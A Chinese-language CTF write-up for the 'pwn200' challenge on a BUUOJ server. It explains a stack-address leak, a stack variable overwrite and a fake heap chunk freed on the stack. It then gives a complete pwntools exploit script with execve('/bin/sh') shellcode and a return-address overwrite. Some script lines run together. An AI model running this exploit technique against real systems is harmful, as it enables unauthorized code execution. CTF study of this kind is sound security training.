代码分析
1.可泄露rbp(就是泄露栈地址,因为没有\x00截断时会连带输出后面的数据)。
2.buf可覆盖ptr(栈上变量覆盖),strcpy()
可能会破坏我们构造好的payload,但是strcpy()
并不会复制"\x00"
,所以在shellcode最前面要加上"\x00"
,这样就只有溢出,没有复制
3.后面就是堆的操作了,只有add和delete
总体思路
1.泄露rbp,获得栈地址。
2.写入shellcode+伪造size+覆盖dest,从而控制ptr。
3.free掉ptr指向的栈上的地址。
4.add回来,顺便改写返回地址,退出。
详细过程
与上面的思路相对应:
1.泄露rbp,获得栈地址。
2.写入shellcode+伪造size+覆盖dest,从而控制ptr。
3.free掉ptr指向的栈上的地址。
4.add回来,顺便改写返回地址,退出。
exp如下:
from pwn import *
context.log_level='debug'
#p=process('./pwn200')
p=remote('node3.buuoj.cn',29698)
libc=ELF('/home/root2/Desktop/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
p.sendafter('who are u?','a'*0x30)
p.recvuntil('a'*0x30)
addr=u64(p.recv(6).ljust(8,"\x00"))
success('addr:'+hex(addr))shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = (shellcode+p64(0)*2+p64(0x41)).ljust(0x38,'\x90')
payload = payload+p64(addr-0x90)
p.recvuntil('give me your id ~~?\n')
p.sendline('31')
p.recvuntil('give me money~\n')
p.sendline(payload)
p.recvuntil('your choice : ')
p.sendline('2')p.recvuntil('your choice : ')
p.sendline('1')
p.recvuntil('how long?\n')
p.sendline('48')
p.recvuntil('48\n')
p.sendline('b'*0x18+p64(addr+0x40-0x100+1))p.interactive()
注意:
为了字节对齐,shellcode多加了一个\x00,所以最后返回地址要加一。